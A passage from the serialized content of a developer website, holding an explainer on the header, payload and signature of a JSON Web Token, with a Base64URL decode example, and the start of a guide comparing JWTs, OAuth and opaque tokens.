with",[16,241965,241966],{},"Let's break down each one.",[11,241968,103007],{"id":103006},[16,241970,241971],{},"The header tells the recipient how to process the token. It contains two fields:",[135,241973,241975],{"className":23484,"code":241974,"language":23486,"meta":141,"style":141},"{\n  \"alg\": \"HS256\",\n  \"typ\": \"JWT\"\n}\n",[143,241976,241977,241981,241992,242002],{"__ignoreMap":141},[1560,241978,241979],{"class":1562,"line":1563},[1560,241980,23493],{"class":1570},[1560,241982,241983,241986,241988,241990],{"class":1562,"line":337},[1560,241984,241985],{"class":1576},"  \"alg\"",[1560,241987,1663],{"class":1570},[1560,241989,240937],{"class":5634},[1560,241991,11943],{"class":1570},[1560,241993,241994,241997,241999],{"class":1562,"line":343},[1560,241995,241996],{"class":1576},"  \"typ\"",[1560,241998,1663],{"class":1570},[1560,242000,242001],{"class":5634},"\"JWT\"\n",[1560,242003,242004],{"class":1562,"line":365},[1560,242005,1585],{"class":1570},[33,242007,242009],{"id":242008},"header-claims","Header Claims",[193,242011,242012,242022],{},[196,242013,242014],{},[199,242015,242016,242018,242020],{},[202,242017,138141],{},[202,242019,207],{},[202,242021,62848],{},[211,242023,242024,242036],{},[199,242025,242026,242030,242033],{},[216,242027,242028],{},[143,242029,90993],{},[216,242031,242032],{},"Algorithm used to sign the token",[216,242034,242035],{},"HS256, RS256, ES256",[199,242037,242038,242043,242046],{},[216,242039,242040],{},[143,242041,242042],{},"typ",[216,242044,242045],{},"Token type",[216,242047,242048],{},"JWT",[16,242050,242051,242056],{},[47,242052,242053,242055],{},[143,242054,90993],{}," (Algorithm)"," — This is the most critical field. It tells the verifier which algorithm was used to create the signature. Common choices include:",[41,242058,242059,242064,242070],{},[44,242060,242061,242063],{},[47,242062,240895],{},": HMAC with SHA-256 (symmetric — same secret for signing and verification)",[44,242065,242066,242069],{},[47,242067,242068],{},"RS256",": RSA with SHA-256 (asymmetric — private key signs, public key verifies)",[44,242071,242072,242075],{},[47,242073,242074],{},"ES256",": ECDSA with SHA-256 (asymmetric — smaller signatures than RSA)",[16,242077,242078,242083,242084,242086],{},[47,242079,242080,242082],{},[143,242081,242042],{}," (Type)"," — Almost always set to ",[143,242085,242048],{},". Some implementations omit it, but including it is a best practice for clarity.",[16,242088,242089],{},"The header is then Base64URL-encoded:",[135,242091,242094],{"className":242092,"code":242093,"language":140},[138],"Base64URL({\"alg\":\"HS256\",\"typ\":\"JWT\"})\n→ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\n",[143,242095,242093],{"__ignoreMap":141},[11,242097,242099],{"id":242098},"the-payload","The Payload",[16,242101,242102,242103,242106],{},"The payload contains the ",[47,242104,242105],{},"claims"," — statements about an entity (typically a user) and additional metadata. Claims come in three categories:",[33,242108,242110],{"id":242109},"registered-claims-standard","Registered Claims (Standard)",[16,242112,242113],{},"These are reserved claim names defined by RFC 7519:",[193,242115,242116,242126],{},[196,242117,242118],{},[199,242119,242120,242122,242124],{},[202,242121,138141],{},[202,242123,223005],{},[202,242125,207],{},[211,242127,242128,242139,242150,242161,242172,242183,242194],{},[199,242129,242130,242134,242136],{},[216,242131,242132],{},[143,242133,90028],{},[216,242135,90973],{},[216,242137,242138],{},"Who issued the token",[199,242140,242141,242145,242147],{},[216,242142,242143],{},[143,242144,138172],{},[216,242146,138175],{},[216,242148,242149],{},"The principal the token is about (usually a user ID)",[199,242151,242152,242156,242158],{},[216,242153,242154],{},[143,242155,90034],{},[216,242157,90982],{},[216,242159,242160],{},"Intended recipient of the token",[199,242162,242163,242167,242169],{},[216,242164,242165],{},[143,242166,90022],{},[216,242168,90955],{},[216,242170,242171],{},"Time after which the token is no longer valid",[199,242173,242174,242178,242180],{},[216,242175,242176],{},[143,242177,90967],{},[216,242179,90964],{},[216,242181,242182],{},"Time before which the token is not valid",[199,242184,242185,242189,242191],{},[216,242186,242187],{},[143,242188,90040],{},[216,242190,138240],{},[216,242192,242193],{},"Time the token was issued",[199,242195,242196,242200,242202],{},[216,242197,242198],{},[143,242199,138254],{},[216,242201,138257],{},[216,242203,242204],{},"Unique identifier for the token (prevents replay)",[16,242206,242207,242208,242211],{},"All time-based claims use ",[47,242209,242210],{},"Unix timestamps"," (seconds since epoch).",[33,242213,242215],{"id":242214},"example-payload","Example Payload",[135,242217,242219],{"className":23484,"code":242218,"language":23486,"meta":141,"style":141},"{\n  \"sub\": \"1234567890\",\n  \"name\": \"John Doe\",\n  \"role\": \"admin\",\n  \"iat\": 1516239022,\n  \"exp\": 1516242622\n}\n",[143,242220,242221,242225,242236,242247,242257,242267,242276],{"__ignoreMap":141},[1560,242222,242223],{"class":1562,"line":1563},[1560,242224,23493],{"class":1570},[1560,242226,242227,242229,242231,242234],{"class":1562,"line":337},[1560,242228,138522],{"class":1576},[1560,242230,1663],{"class":1570},[1560,242232,242233],{"class":5634},"\"1234567890\"",[1560,242235,11943],{"class":1570},[1560,242237,242238,242240,242242,242245],{"class":1562,"line":343},[1560,242239,80877],{"class":1576},[1560,242241,1663],{"class":1570},[1560,242243,242244],{"class":5634},"\"John Doe\"",[1560,242246,11943],{"class":1570},[1560,242248,242249,242251,242253,242255],{"class":1562,"line":365},[1560,242250,81838],{"class":1576},[1560,242252,1663],{"class":1570},[1560,242254,81849],{"class":5634},[1560,242256,11943],{"class":1570},[1560,242258,242259,242261,242263,242265],{"class":1562,"line":889},[1560,242260,241493],{"class":1576},[1560,242262,1663],{"class":1570},[1560,242264,241498],{"class":1576},[1560,242266,11943],{"class":1570},[1560,242268,242269,242271,242273],{"class":1562,"line":1710},[1560,242270,241505],{"class":1576},[1560,242272,1663],{"class":1570},[1560,242274,242275],{"class":1576},"1516242622\n",[1560,242277,242278],{"class":1562,"line":1717},[1560,242279,1585],{"class":1570},[41,242281,242282,242287,242294,242299],{},[44,242283,242284,242286],{},[143,242285,138172],{}," identifies the user",[44,242288,242289,1856,242291,242293],{},[143,242290,82747],{},[143,242292,138405],{}," are custom claims",[44,242295,242296,242298],{},[143,242297,90040],{}," records when the token was issued",[44,242300,242301,242303],{},[143,242302,90022],{}," sets the token to expire 1 hour after issuance",[33,242305,242307],{"id":242306},"public-and-private-claims","Public and Private Claims",[41,242309,242310,242321],{},[44,242311,242312,242315,242316,1459,242318,1525],{},[47,242313,242314],{},"Public claims",": Registered in the IANA JSON Web Token Registry to avoid collisions (e.g., ",[143,242317,97853],{},[143,242319,242320],{},"roles",[44,242322,242323,242325,242326,1459,242329,1525],{},[47,242324,138666],{},": Custom names agreed upon by the parties (e.g., ",[143,242327,242328],{},"department",[143,242330,242331],{},"plan_id",[16,242333,242334],{},"Always avoid collision by choosing claim names that won't conflict with registered claims.",[33,242336,242338],{"id":242337},"important-payload-is-not-encrypted","Important: Payload Is Not Encrypted",[16,242340,242341,242342],{},"The payload is Base64URL-encoded, not encrypted. Anyone who intercepts the token can read its contents. ",[47,242343,242344],{},"Never store sensitive data (passwords, API keys, SSNs) in a JWT payload.",[11,242346,242348],{"id":242347},"the-signature","The Signature",[16,242350,242351],{},"The signature verifies that the token hasn't been altered. It is computed from the header and payload:",[33,242353,242355],{"id":242354},"hmac-hs256-example","HMAC (HS256) Example",[135,242357,242360],{"className":242358,"code":242359,"language":140},[138],"HMACSHA256(\n  base64UrlEncode(header) + \".\" + base64UrlEncode(payload),\n  secret\n)\n",[143,242361,242359],{"__ignoreMap":141},[33,242363,242365],{"id":242364},"rsa-rs256-example","RSA (RS256) Example",[135,242367,242370],{"className":242368,"code":242369,"language":140},[138],"RSASHA256(\n  base64UrlEncode(header) + \".\" + base64UrlEncode(payload),\n  privateKey\n)\n",[143,242371,242369],{"__ignoreMap":141},[16,242373,242374,242375,242378],{},"The signature ensures ",[47,242376,242377],{},"integrity"," — if anyone changes even a single character in the header or payload, the signature will no longer match.",[33,242380,242382],{"id":242381},"verification-flow","Verification Flow",[135,242384,242387],{"className":242385,"code":242386,"language":140},[138],"1. Split the JWT by dots → [header, payload, signature]\n2. Recompute the signature using header + payload + secret\u002Fkey\n3. Compare the recomputed signature with the received signature\n4. Match → token is valid and untampered\n5. No match → token has been modified → reject\n",[143,242388,242386],{"__ignoreMap":141},[11,242390,242392],{"id":242391},"base64url-encoding-explained","Base64URL Encoding Explained",[16,242394,242395,242396,242398],{},"JWTs use ",[47,242397,241937],{}," encoding, not standard Base64. The differences matter:",[193,242400,242401,242412],{},[196,242402,242403],{},[199,242404,242405,242408,242410],{},[202,242406,242407],{},"Standard Base64",[202,242409,241937],{},[202,242411,23393],{},[211,242413,242414,242429,242444,242457],{},[199,242415,242416,242420,242424],{},[216,242417,242418],{},[143,242419,9448],{},[216,242421,242422],{},[143,242423,9412],{},[216,242425,242426,242428],{},[143,242427,9448],{}," is interpreted as space in URLs",[199,242430,242431,242435,242439],{},[216,242432,242433],{},[143,242434,9423],{},[216,242436,242437],{},[143,242438,23056],{},[216,242440,242441,242443],{},[143,242442,9423],{}," is a URL path separator",[199,242445,242446,242450,242452],{},[216,242447,242448,9388],{},[143,242449,7297],{},[216,242451,190561],{},[216,242453,242454,242456],{},[143,242455,7297],{}," is percent-encoded in URLs",[199,242458,242459,242462,242465],{},[216,242460,242461],{},"Output not URL-safe",[216,242463,242464],{},"Output is URL-safe",[216,242466,242467],{},"JWTs travel in URLs and cookies",[33,242469,242471],{"id":242470},"manual-decode-example","Manual Decode Example",[135,242473,242475],{"className":1607,"code":242474,"language":1609,"meta":141,"style":141},"function decodeBase64Url(str) {\n  \u002F\u002F Restore standard Base64\n  let base64 = str.replace(\u002F-\u002Fg, '+').replace(\u002F_\u002Fg, '\u002F');\n  \u002F\u002F Restore padding\n  while (base64.length % 4) base64 += '=';\n  return JSON.parse(atob(base64));\n}\n\nconst header = decodeBase64Url('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9');\n\u002F\u002F { alg: \"HS256\", typ: \"JWT\" }\n",[143,242476,242477,242490,242495,242542,242547,242571,242588,242592,242596,242613],{"__ignoreMap":141},[1560,242478,242479,242481,242484,242486,242488],{"class":1562,"line":1563},[1560,242480,8648],{"class":1669},[1560,242482,242483],{"class":1566}," decodeBase64Url",[1560,242485,1688],{"class":1570},[1560,242487,38740],{"class":2219},[1560,242489,9345],{"class":1570},[1560,242491,242492],{"class":1562,"line":337},[1560,242493,242494],{"class":1649},"  \u002F\u002F Restore standard Base64\n",[1560,242496,242497,242499,242502,242504,242506,242508,242510,242512,242514,242516,242518,242520,242522,242524,242526,242528,242530,242532,242534,242536,242538,242540],{"class":1562,"line":343},[1560,242498,38049],{"class":1669},[1560,242500,242501],{"class":1570}," base64 ",[1560,242503,7297],{"class":1669},[1560,242505,38842],{"class":1570},[1560,242507,22721],{"class":1566},[1560,242509,1688],{"class":1570},[1560,242511,9423],{"class":5634},[1560,242513,9412],{"class":11919},[1560,242515,9423],{"class":5634},[1560,242517,22733],{"class":1669},[1560,242519,1459],{"class":1570},[1560,242521,89979],{"class":5634},[1560,242523,9368],{"class":1570},[1560,242525,22721],{"class":1566},[1560,242527,1688],{"class":1570},[1560,242529,9423],{"class":5634},[1560,242531,23056],{"class":11919},[1560,242533,9423],{"class":5634},[1560,242535,22733],{"class":1669},[1560,242537,1459],{"class":1570},[1560,242539,89998],{"class":5634},[1560,242541,1744],{"class":1570},[1560,242543,242544],{"class":1562,"line":365},[1560,242545,242546],{"class":1649},"  \u002F\u002F Restore padding\n",[1560,242548,242549,242551,242554,242556,242559,242561,242564,242566,242569],{"class":1562,"line":889},[1560,242550,38062],{"class":1669},[1560,242552,242553],{"class":1570}," (base64.",[1560,242555,9418],{"class":1576},[1560,242557,242558],{"class":1669}," %",[1560,242560,13574],{"class":1576},[1560,242562,242563],{"class":1570},") base64 ",[1560,242565,28386],{"class":1669},[1560,242567,242568],{"class":5634}," '='",[1560,242570,2228],{"class":1570},[1560,242572,242573,242575,242577,242579,242581,242583,242585],{"class":1562,"line":1710},[1560,242574,9350],{"class":1669},[1560,242576,89946],{"class":1576},[1560,242578,468],{"class":1570},[1560,242580,80838],{"class":1566},[1560,242582,1688],{"class":1570},[1560,242584,89955],{"class":1566},[1560,242586,242587],{"class":1570},"(base64));\n",[1560,242589,242590],{"class":1562,"line":1717},[1560,242591,1585],{"class":1570},[1560,242593,242594],{"class":1562,"line":1747},[1560,242595,1702],{"emptyLinePlaceholder":363},[1560,242597,242598,242600,242602,242604,242606,242608,242611],{"class":1562,"line":2507},[1560,242599,8180],{"class":1669},[1560,242601,117498],{"class":1576},[1560,242603,8186],{"class":1669},[1560,242605,242483],{"class":1566},[1560,242607,1688],{"class":1570},[1560,242609,242610],{"class":5634},"'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9'",[1560,242612,1744],{"class":1570},[1560,242614,242615],{"class":1562,"line":2524},[1560,242616,242617],{"class":1649},"\u002F\u002F { alg: \"HS256\", typ: \"JWT\" }\n",[11,242619,242621],{"id":242620},"how-the-three-parts-work-together","How the Three Parts Work Together",[135,242623,242626],{"className":242624,"code":242625,"language":140},[138],"┌──────────────┐     ┌──────────────┐     ┌──────────────┐\n│    HEADER    │  .  │   PAYLOAD    │  .  │  SIGNATURE   │\n│  (algorithm) │     │   (claims)   │     │  (proof)     │\n└──────────────┘     └──────────────┘     └──────────────┘\n       ↓                    ↓                     ↓\n  Base64URL           Base64URL            HMAC\u002FRSA of\n  encoded             encoded              header.payload\n",[143,242627,242625],{"__ignoreMap":141},[41,242629,242630,242635,242641],{},[44,242631,421,242632,242634],{},[47,242633,61156],{}," tells the verifier which algorithm to use",[44,242636,421,242637,242640],{},[47,242638,242639],{},"payload"," carries the claims the application needs",[44,242642,421,242643,242646],{},[47,242644,242645],{},"signature"," proves the first two parts were issued by a trusted source",[16,242648,242649],{},"If any part changes, the signature breaks — and the token is rejected.",[11,242651,242653],{"id":242652},"common-jwt-myths","Common JWT Myths",[33,242655,242657],{"id":242656},"myth-jwts-are-encrypted","Myth: JWTs Are Encrypted",[16,242659,242660,242663],{},[47,242661,242662],{},"Reality",": JWTs are encoded, not encrypted. Anyone can decode the header and payload without a secret key. Use JWE (JSON Web Encryption) if you need confidentiality.",[33,242665,242667],{"id":242666},"myth-you-cannot-trust-a-jwt-without-a-database-lookup","Myth: You Cannot Trust a JWT Without a Database Lookup",[16,242669,242670,242672],{},[47,242671,242662],{},": With asymmetric algorithms (RS256), the verifier only needs the public key — no database call needed. This is the key advantage of self-contained tokens.",[33,242674,242676],{"id":242675},"myth-longer-secrets-mean-better-security","Myth: Longer Secrets Mean Better Security",[16,242678,242679,242681],{},[47,242680,242662],{},": With HMAC, yes — use at least 256-bit secrets. With RSA or ECDSA, key length matters differently. Follow the algorithm's best practices, not guesswork.",[11,242683,321],{"id":320},[41,242685,242686,242691,242695],{},[44,242687,242688],{},[98,242689,242690],{"href":241873},"JWT Security Best Practices",[44,242692,242693],{},[98,242694,241821],{"href":241820},[44,242696,242697],{},[98,242698,242700],{"href":242699},"\u002Fguides\u002Fbase64url-difference","Base64URL Difference",[11,242702,286],{"id":285},[16,242704,242705,242706,242708],{},"Want to see the structure of a real JWT? Paste any token into our free ",[98,242707,91043],{"href":91042}," to instantly inspect its header, payload, and claims — all processed securely in your browser with no data sent to any server.",[2043,242710,242711],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":141,"searchDepth":337,"depth":337,"links":242713},[242714,242715,242716,242719,242725,242730,242733,242734,242739,242740],{"id":241884,"depth":337,"text":241885},{"id":241903,"depth":337,"text":241904},{"id":103006,"depth":337,"text":103007,"children":242717},[242718],{"id":242008,"depth":343,"text":242009},{"id":242098,"depth":337,"text":242099,"children":242720},[242721,242722,242723,242724],{"id":242109,"depth":343,"text":242110},{"id":242214,"depth":343,"text":242215},{"id":242306,"depth":343,"text":242307},{"id":242337,"depth":343,"text":242338},{"id":242347,"depth":337,"text":242348,"children":242726},[242727,242728,242729],{"id":242354,"depth":343,"text":242355},{"id":242364,"depth":343,"text":242365},{"id":242381,"depth":343,"text":242382},{"id":242391,"depth":337,"text":242392,"children":242731},[242732],{"id":242470,"depth":343,"text":242471},{"id":242620,"depth":337,"text":242621},{"id":242652,"depth":337,"text":242653,"children":242735},[242736,242737,242738],{"id":242656,"depth":343,"text":242657},{"id":242666,"depth":343,"text":242667},{"id":242675,"depth":343,"text":242676},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Understand how JSON Web Tokens work. Break down the three parts of a JWT: header, payload, and signature.",{"immutable":363},{"title":241879,"description":242741},"guides\u002Fjwt-structure-explained","QcZ7nw7kiFfrrS5fwIQ0yH1nFz4iNf8UnuEdEpaMp3o",{"id":242747,"title":242748,"body":242749,"date":235803,"description":243616,"extension":361,"meta":243617,"navigation":363,"path":241820,"readingTime":1710,"seo":243618,"stem":243619,"__hash__":243620},"guides\u002Fguides\u002Fjwt-vs-oauth-tokens.md","JWT vs OAuth Tokens: Understanding the Differences",{"type":8,"value":242750,"toc":243584},[242751,242755,242758,242771,242774,242776,242779,242785,242826,242829,242833,242840,242885,242892,242896,242899,242903,242909,242923,242927,242933,242947,242949,243024,243028,243037,243041,243067,243071,243077,243080,243084,243091,243094,243120,243124,243130,243133,243137,243144,243148,243192,243197,243214,243224,243228,243231,243237,243240,243244,243247,243305,243311,243317,243319,243323,243326,243330,243443,243446,243450,243468,243472,243475,243535,243537,243540,243553,243556,243558,243574,243576,243582],[11,242752,242754],{"id":242753},"the-confusion-is-common","The Confusion Is Common",[16,242756,242757],{},"\"Should I use JWT or OAuth?\" is a question that reveals a misunderstanding. JWT and OAuth are not alternatives to each other — they serve different purposes and often work together.",[41,242759,242760,242765],{},[44,242761,242762,242764],{},[47,242763,242048],{}," is a token format — a way to encode and sign data",[44,242766,242767,242770],{},[47,242768,242769],{},"OAuth 2.0"," is an authorization framework — a set of rules for granting access",[16,242772,242773],{},"Understanding this distinction prevents costly architectural mistakes.",[11,242775,241885],{"id":241884},[16,242777,242778],{},"A JSON Web Token is a self-contained, signed token that carries claims about a subject. It has three parts — header, payload, and signature — and anyone with the signing key can verify its authenticity.",[16,242780,242781,242784],{},[47,242782,242783],{},"Key property",": The token contains all the information needed to validate it. No database lookup required (for signature verification).",[135,242786,242788],{"className":23484,"code":242787,"language":23486,"meta":141,"style":141},"{\n  \"sub\": \"user-42\",\n  \"role\": \"editor\",\n  \"exp\": 1516242622\n}\n",[143,242789,242790,242794,242804,242814,242822],{"__ignoreMap":141},[1560,242791,242792],{"class":1562,"line":1563},[1560,242793,23493],{"class":1570},[1560,242795,242796,242798,242800,242802],{"class":1562,"line":337},[1560,242797,138522],{"class":1576},[1560,242799,1663],{"class":1570},[1560,242801,138527],{"class":5634},[1560,242803,11943],{"class":1570},[1560,242805,242806,242808,242810,242812],{"class":1562,"line":343},[1560,242807,81838],{"class":1576},[1560,242809,1663],{"class":1570},[1560,242811,85664],{"class":5634},[1560,242813,11943],{"class":1570},[1560,242815,242816,242818,242820],{"class":1562,"line":365},[1560,242817,241505],{"class":1576},[1560,242819,1663],{"class":1570},[1560,242821,242275],{"class":1576},[1560,242823,242824],{"class":1562,"line":889},[1560,242825,1585],{"class":1570},[16,242827,242828],{},"A JWT is like a passport: it contains identity information, a photograph, and a signature. The verifier checks the signature — not a central database.",[11,242830,242832],{"id":242831},"what-is-oauth-20","What Is OAuth 2.0?",[16,242834,242835,242836,242839],{},"OAuth 2.0 is an authorization framework that defines how a client application can obtain limited access to a resource on behalf of a resource owner. It specifies several ",[47,242837,242838],{},"grant types"," (flows):",[193,242841,242842,242851],{},[196,242843,242844],{},[199,242845,242846,242849],{},[202,242847,242848],{},"Grant Type",[202,242850,1775],{},[211,242852,242853,242861,242869,242877],{},[199,242854,242855,242858],{},[216,242856,242857],{},"Authorization Code",[216,242859,242860],{},"Server-side web apps",[199,242862,242863,242866],{},[216,242864,242865],{},"Authorization Code + PKCE",[216,242867,242868],{},"Single-page apps, mobile apps",[199,242870,242871,242874],{},[216,242872,242873],{},"Client Credentials",[216,242875,242876],{},"Server-to-server communication",[199,242878,242879,242882],{},[216,242880,242881],{},"Device Code",[216,242883,242884],{},"IoT devices, CLI tools",[16,242886,242887,242888,242891],{},"OAuth 2.0 tells you ",[47,242889,242890],{},"how to get a token and what to do with it",". It does not mandate a specific token format — the token can be a JWT, an opaque string, or anything else.",[11,242893,242895],{"id":242894},"self-contained-vs-opaque-tokens","Self-Contained vs Opaque Tokens",[16,242897,242898],{},"This is the core distinction that matters in practice.",[33,242900,242902],{"id":242901},"self-contained-tokens-jwt","Self-Contained Tokens (JWT)",[135,242904,242907],{"className":242905,"code":242906,"language":140},[138],"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0In0.Gfx6VO9tcxwk6xqx9yYzSfgfe\n",[143,242908,242906],{"__ignoreMap":141},[41,242910,242911,242914,242917,242920],{},[44,242912,242913],{},"Contains readable claims inside the token",[44,242915,242916],{},"Verifiable without a database lookup (with the right key)",[44,242918,242919],{},"Stateless by design",[44,242921,242922],{},"Cannot be revoked before expiration (without extra infrastructure)",[33,242924,242926],{"id":242925},"opaque-tokens","Opaque Tokens",[135,242928,242931],{"className":242929,"code":242930,"language":140},[138],"a1b2c3d4-e5f6-7890-abcd-ef1234567890\n",[143,242932,242930],{"__ignoreMap":141},[41,242934,242935,242938,242941,242944],{},[44,242936,242937],{},"A random string with no embedded information",[44,242939,242940],{},"Requires a database or cache lookup to validate",[44,242942,242943],{},"Easily revokable — just delete the record",[44,242945,242946],{},"Fully stateful",[33,242948,70069],{"id":70068},[193,242950,242951,242963],{},[196,242952,242953],{},[199,242954,242955,242957,242960],{},[202,242956,14482],{},[202,242958,242959],{},"JWT (Self-Contained)",[202,242961,242962],{},"Opaque Token",[211,242964,242965,242974,242983,242994,243004,243014],{},[199,242966,242967,242970,242972],{},[216,242968,242969],{},"Contains claims",[216,242971,3057],{},[216,242973,6117],{},[199,242975,242976,242979,242981],{},[216,242977,242978],{},"Needs DB lookup to verify",[216,242980,6117],{},[216,242982,3057],{},[199,242984,242985,242988,242991],{},[216,242986,242987],{},"Revocable",[216,242989,242990],{},"Hard (needs blacklist)",[216,242992,242993],{},"Easy (delete record)",[199,242995,242996,242998,243001],{},[216,242997,13021],{},[216,242999,243000],{},"Large (1–4 KB)",[216,243002,243003],{},"Small (32–64 bytes)",[199,243005,243006,243009,243012],{},[216,243007,243008],{},"Verifiable offline",[216,243010,243011],{},"Yes (with public key)",[216,243013,6117],{},[199,243015,243016,243019,243022],{},[216,243017,243018],{},"Information leakage risk",[216,243020,243021],{},"Yes (payload readable)",[216,243023,6117],{},[11,243025,243027],{"id":243026},"when-to-use-jwts","When to Use JWTs",[16,243029,243030,243031,1856,243034,468],{},"JWTs excel when you need ",[47,243032,243033],{},"stateless verification",[47,243035,243036],{},"claims distribution",[33,243038,243040],{"id":243039},"best-use-cases","Best Use Cases",[41,243042,243043,243049,243055,243061],{},[44,243044,243045,243048],{},[47,243046,243047],{},"Microservices",": Services verify tokens locally without calling a central auth service on every request",[44,243050,243051,243054],{},[47,243052,243053],{},"Third-party APIs",": The API consumer validates the token without calling your server",[44,243056,243057,243060],{},[47,243058,243059],{},"Short-lived access tokens",": 5–15 minute tokens where revocation is less critical",[44,243062,243063,243066],{},[47,243064,243065],{},"Federated identity",": Sharing identity claims across trust boundaries",[33,243068,243070],{"id":243069},"example-microservices-architecture","Example: Microservices Architecture",[135,243072,243075],{"className":243073,"code":243074,"language":140},[138],"Client → API Gateway (validates JWT) → Service A (reads claims from JWT)\n                                   → Service B (reads claims from JWT)\n                                   → Service C (reads claims from JWT)\n",[143,243076,243074],{"__ignoreMap":141},[16,243078,243079],{},"No inter-service calls for authentication. Each service verifies the JWT independently.",[11,243081,243083],{"id":243082},"when-to-use-opaque-tokens","When to Use Opaque Tokens",[16,243085,243086,243087,243090],{},"Opaque tokens are better when ",[47,243088,243089],{},"revocation and control"," are priorities.",[33,243092,243040],{"id":243093},"best-use-cases-1",[41,243095,243096,243102,243108,243114],{},[44,243097,243098,243101],{},[47,243099,243100],{},"Internal applications",": Single-server or single-service where DB lookups are cheap",[44,243103,243104,243107],{},[47,243105,243106],{},"Long-lived sessions",": Where you need to revoke access immediately",[44,243109,243110,243113],{},[47,243111,243112],{},"High-security systems",": Where token content must never be exposed",[44,243115,243116,243119],{},[47,243117,243118],{},"Legacy systems",": Where existing session infrastructure works",[33,243121,243123],{"id":243122},"example-traditional-web-app","Example: Traditional Web App",[135,243125,243128],{"className":243126,"code":243127,"language":140},[138],"Client → Server (validates opaque token against Redis) → Response\n",[143,243129,243127],{"__ignoreMap":141},[16,243131,243132],{},"Simple, fast (Redis lookup \u003C1ms), and tokens are revocable instantly.",[11,243134,243136],{"id":243135},"the-hybrid-approach-the-best-of-both","The Hybrid Approach: The Best of Both",[16,243138,243139,243140,243143],{},"Most production systems use a ",[47,243141,243142],{},"combination"," of JWTs and opaque tokens:",[33,243145,243147],{"id":243146},"pattern-jwt-access-token-opaque-refresh-token","Pattern: JWT Access Token + Opaque Refresh Token",[193,243149,243150,243164],{},[196,243151,243152],{},[199,243153,243154,243156,243158,243160,243162],{},[202,243155,4028],{},[202,243157,34969],{},[202,243159,241630],{},[202,243161,241635],{},[202,243163,2758],{},[211,243165,243166,243178],{},[199,243167,243168,243170,243172,243174,243176],{},[216,243169,241644],{},[216,243171,242048],{},[216,243173,241647],{},[216,243175,195583],{},[216,243177,241650],{},[199,243179,243180,243182,243185,243187,243190],{},[216,243181,241660],{},[216,243183,243184],{},"Opaque",[216,243186,138848],{},[216,243188,243189],{},"HttpOnly cookie",[216,243191,241665],{},[16,243193,243194],{},[47,243195,243196],{},"How it works:",[77,243198,243199,243202,243205,243208,243211],{},[44,243200,243201],{},"User authenticates → server issues both tokens",[44,243203,243204],{},"Client uses the JWT access token for API calls (stateless verification)",[44,243206,243207],{},"When the JWT expires, client sends the opaque refresh token",[44,243209,243210],{},"Server looks up the refresh token in the database → issues a new JWT + new refresh token",[44,243212,243213],{},"If refresh token is compromised, delete the database record — immediate revocation",[16,243215,199549,243216,243219,243220,243223],{},[47,243217,243218],{},"stateless API calls"," (fast, scalable) with ",[47,243221,243222],{},"revocable sessions"," (secure, controllable).",[33,243225,243227],{"id":243226},"pattern-opaque-reference-token-jwt-internally","Pattern: Opaque Reference Token + JWT Internally",[16,243229,243230],{},"Some systems store a JWT in a database and give the client an opaque reference:",[135,243232,243235],{"className":243233,"code":243234,"language":140},[138],"Client sends: abc123 (opaque reference)\nServer looks up: abc123 → { JWT stored in DB }\nServer validates JWT claims internally\n",[143,243236,243234],{"__ignoreMap":141},[16,243238,243239],{},"This combines the secrecy of opaque tokens with the rich claims of JWTs, at the cost of a database lookup.",[11,243241,243243],{"id":243242},"token-size-comparison","Token Size Comparison",[16,243245,243246],{},"Token size affects bandwidth, especially for mobile networks:",[193,243248,243249,243259],{},[196,243250,243251],{},[199,243252,243253,243255,243257],{},[202,243254,138822],{},[202,243256,132913],{},[202,243258,34974],{},[211,243260,243261,243272,243283,243294],{},[199,243262,243263,243266,243269],{},[216,243264,243265],{},"Opaque token",[216,243267,243268],{},"~40 bytes",[216,243270,243271],{},"Minimal overhead",[199,243273,243274,243277,243280],{},[216,243275,243276],{},"JWT (3 claims)",[216,243278,243279],{},"~200 bytes",[216,243281,243282],{},"Moderate overhead",[199,243284,243285,243288,243291],{},[216,243286,243287],{},"JWT (10+ claims)",[216,243289,243290],{},"~1–4 KB",[216,243292,243293],{},"Significant overhead",[199,243295,243296,243299,243302],{},[216,243297,243298],{},"JWT + headers",[216,243300,243301],{},"Add ~50 bytes",[216,243303,243304],{},"HTTP overhead",[16,243306,243307,243308,243310],{},"Every API request includes the token in the ",[143,243309,241557],{}," header. A 2 KB JWT sent on 100 requests per page load adds 200 KB of overhead on mobile connections.",[16,243312,243313,243316],{},[47,243314,243315],{},"Practical tip",": Keep JWT claims minimal. Only include what the resource server needs.",[11,243318,2341],{"id":2340},[33,243320,243322],{"id":243321},"mistake-1-using-jwts-as-session-replacements-for-browser-apps","Mistake 1: Using JWTs as Session Replacements for Browser Apps",[16,243324,243325],{},"Storing a long-lived JWT in localStorage creates both XSS and revocation problems. For browser-based 